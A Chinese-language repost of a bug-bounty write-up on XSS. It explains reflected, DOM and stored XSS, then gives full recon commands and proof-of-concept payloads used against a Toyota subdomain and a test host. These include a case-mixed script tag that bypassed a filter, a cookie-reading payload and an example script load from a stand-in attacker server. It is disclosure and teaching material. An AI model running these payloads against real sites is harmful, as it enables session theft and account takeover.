未知技术大揭秘,让XSS漏洞无处遁形!0x1

admin 2024年7月5日14:11:46评论3 views字数 4763阅读15分52秒阅读模式
forever young

不论昨天如何,都希望新的一天里,我们大家都能成为更好的人,也希望我们都是走向幸福的那些人
01

背景

安全小白团

今天我将讨论使用不同技术的多种跨站脚本(XSS) 攻击,这是我在参与各种漏洞赏金计划时发现的。

XSS:(跨站脚本)是一种安全漏洞,当攻击者向其他用户查看的网页中注入恶意脚本时,这种漏洞就会发生。XSS 攻击旨在在受害者浏览器的上下文中执行恶意脚本,从而使攻击者能够窃取敏感信息。例如,在 javascript 中,如果攻击者能够注入像这样的内容:

<script src=https://attacker_Server.com/attack.js></script> // 从攻击者服务器加载恶意 Java 脚本文件,该文件执行恶意操作,例如从受害者那里窃取敏感数据(如会话 cookie)和获取帐户接管。
02

XSS类型

安全小白团

1. 反射型XSS

是最简单的一种XSS。当应用程序在HTTP请求中接收数据,并以不安全的方式将该数据包含在响应中时,就会发生这种情况。例如:如果我们在网站中有一个用于过滤衣服的类别参数,比如“https://example.com?category=t-shirt”,并且这个值以不安全的方式被回显在响应中,如<p>t-shirt</p>,这意味着我们可以注入我们的恶意负载,如<p><script>alert(document.cookie)</script></p>,以获取会话cookie。

2. DOM XSS
当JavaScript从攻击者可控的来源(如URL)获取数据,并将其传递给支持动态代码执行的接收器(如eval()或innerHTML)时,会发生DOM型XSS。这使得攻击者能够执行恶意JavaScript。关于DOM,你需要深入了解的最重要的内容是它的来源和接收器。关于来源和接收器的更多信息,请查看
https://portswigger.net/web-security/cross-site-scripting/dom-based
3. 存储型 XSS
当应用程序从不受信任的来源接收数据,并以不安全的方式将其包含在后续的HTTP响应中时,就会发生存储型XSS。例如,假设一个网站允许用户提交对其他用户显示的博客文章的评论。攻击者提交恶意评论,这些评论将被存储在服务器上,当其他用户查看这些恶意评论时,攻击者将窃取他们的数据。
03

丰田中的严重DOM XSS

安全小白团

现在,我们有一个丰田的域名,我们需要收集该域名的子域。您可以使用像sublist3r 、subfinder、 asset finder、amass 等工具来收集子域名,然后使用httpx来过滤出活跃的子域名。
httpx -l subdomains.txt -o httpx.txt
接下来,我们从Wayback Machine和Common Crawl中收集URL。
echo "toyota.com" | gau --threads 5 >> Enpoints.txtcat httpx.txt | katana -jc >> Enpoints.txt
由于其中大部分可能是重复的,我们将使用以下命令来去除重复项:
cat Enpoints.txt | uro >> Endpoints_F.txt
gau:一个工具,可以从Wayback Machine中获取任何域名的已知URL。https://github.com/lc/gaukatana:一个专注于深度网络爬虫的强大工具。https://github.com/projectdiscovery/katanauro:一个很好的工具,用于从收集到的端点中过滤掉不相关/重复的内容。例如,如果我们有多个URL,如https://example.com?id=1和https://example.com?id=2,uro会将其过滤为仅一个URL。https://github.com/s0md3v/uro
注意:你可以使用自动化脚本来自动化执行之前提到的所有步骤,就像大多数安全研究人员所做的那样,以简化流程。在将来的文章中,我将分享我的脚本。
现在,我们有了大量的URL,需要筛选出有效的URL。我使用的是强大的gf工具,它可以根据提供的模式(例如XSS、SQLi、SSRF等模式的)来过滤URL。您可以使用 GitHub 中的任何公共模式,例如
https://github.com/tomnomnom/gfhttps://github.com/1ndianl33t/Gf-Patterns
并将它们添加到“~/.gf”目录中。
cat Endpoints_F.txt | gf xss >> XSS.txt用于获取可能容易受到XSS攻击的带有参数的URL。
接下来,我们将使用Gxss工具来查找那些值在响应中被反射的参数。
https://github.com/KathanP19/Gxsscat XSS.txt | Gxss -p khXSS -o XSS_Ref.txt
在这个过程中,你有两个选择:第一个是手动测试,或者使用XSS自动化工具并手动确认结果。由于我们的文件很大,因此我会使用Dalfox自动化XSS扫描器。
https://github.com/hahwul/dalfoxdalfox file XSS_Ref.txt -o Vulnerable_XSS.txt
我发现有一个存在漏洞的子域名,我们称之为sub.toyota.com,让我们看看发生了什么。
当我导航到漏洞URL时,我收到了一个弹窗消息。
https://sub.toyota.com/direcrory/?dir=</script><script>confirm(document.domain)</script>
未知技术大揭秘,让XSS漏洞无处遁形!0x1

当时,我很好奇这是否是唯一的漏洞参数,还是存在其他参数,以及为什么会发生这种情况。我发现了很多存在漏洞的参数。

我查看了响应,发现存在漏洞的参数在URL的源文件中存在于不同的JavaScript变量中,如“var returnUrl=”、“var applicationUri=”。你可以查看这段JavaScript代码来理解这个思路。
<script>  // Assuming the URL is http://test.com?param=test  var urlParams = new URLSearchParams(window.location.search);  var paramValue = urlParams.get('param');  // This will execute the script tag in the paramValue variable  document.write(paramValue)</script>

让我们发送以下URL来检查目标是否对cookies有任何防护措施:


https://sub.toyota.com/direcrory/?dir=</script><script>confirm(document.cookie)</script>
未知技术大揭秘,让XSS漏洞无处遁形!0x1

不幸的是,这意味着我可以对任何用户执行完整的账户接管(RXSS)。我已经详细报告了这个漏洞,并得到了确认。

未知技术大揭秘,让XSS漏洞无处遁形!0x1
04

背景漏洞赏金计划中的中等难度反射性XSS

安全小白团

关键字:隐藏参数——手动测试

反射型 XSS是最常见的漏洞之一,也相对容易发现,但我要谈谈我多次遇到的一些特殊情况。

在对targets.com进行侦察并收集所有相关信息后,我收集了各个URL。我发现了一个非常有趣的URL,给我展示了以下页面。

https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php
未知技术大揭秘,让XSS漏洞无处遁形!0x1

当我导航到基础URL时,我收到了一个403 Forbidden(禁止访问)的错误。

未知技术大揭秘,让XSS漏洞无处遁形!0x1

我使用自定义的单词列表和dirsearch工具对基础URL和其他URL进行了模糊测试。

dirsearch -u https://tst2.dev.targets.com/ -w wordlist.txt -e php,cgi,htm,html,shtm,shtml,js,txt --random-agent(-u) 用于指定目标网址;(-w) 用于指定自定义的单词列表;(-e) 用于指定要测试的不同文件扩展名;(--random-agent) 用于改变请求的用户代理。

但是,我并没有得到任何重要的结果。那么,关于隐藏参数我们该怎么做呢?让我们使用 Arjun 工具或 Param Miner 扩展来扫描,这些工具可以通过发送不同的请求(如 GET、POST、JSON、XML)来发现有效的查询参数。

https://github.com/s0md3v/Arjunhttps://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943arjun -u https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php -m GET -wParameters_Fuzz.txt(-u) 用于指定目标网址;(-m GET) 表示使用 GET 方法发送请求;(-w) 用于指定自定义的单词列表。

响应

未知技术大揭秘,让XSS漏洞无处遁形!0x1

接下来,让我们针对 auth_status 参数尝试不同的注入,如 XSS、SQLi 等。但为了不浪费时间,我将专注于反射型 XSS。

在参数值中注入 khxss 后,当我导航到
https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php?auth_status=%3Cscript%3Econfirm%285%29%3C%2Fscript%3E
时,它确实在响应中反射了,但我得到了 403 Forbidden 错误。
通常,绕过某些保护的第一种也是最简单的方法是尝试修改负载,比如改变编写负载的方式(如 <sCrIpT>alert(1)</ScRipt>)或使用 <scr<script>ipt> 等多种技巧。因为开发者在黑名单中可能只禁止了特定的词汇。你可以使用公共的单词列表来自动化这一过程。但当我尝试
https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php?auth_status=%3CsCriPt%3Econfirm%28documen.cookie%29%3C%2FScRipt%3E
时,它接受了,我们成功触发了 XSS。
未知技术大揭秘,让XSS漏洞无处遁形!0x1

专业提醒:当你发现类似这样的漏洞时,请尝试看看子域名是否也易受同样的漏洞影响。这就是我在收集[*.dev.targets.com]的子域名时所做的事情,我发现了大约四个易受攻击的子域名。但当我报告它们时,审查团队认为它们属于同一个漏洞,最终我获得了赏金。

未知技术大揭秘,让XSS漏洞无处遁形!0x1

注意:你可以使用ffuf工具对子域名进行模糊测试,只需使用完整的URL即可。

https://github.com/ffuf/ffufffuf -u "https://FUZZ.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php?auth_status=%3CsCriPt%3Econfirm%28documen.cookie%29%3C%2FScRipt %3E" -w 子域名.txt -c -v
参考及来源:

https://infosecwriteups.com/how-i-found-multiple-xss-vulnerabilities-using-unknown-techniques-74f8e705ea0d

 

 

原文始发于微信公众号(安全小白团):未知技术大揭秘,让XSS漏洞无处遁形!0x1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月5日14:11:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   未知技术大揭秘,让XSS漏洞无处遁形!0x1https://cn-sec.com/archives/2921843.html

发表评论

匿名网友 填写信息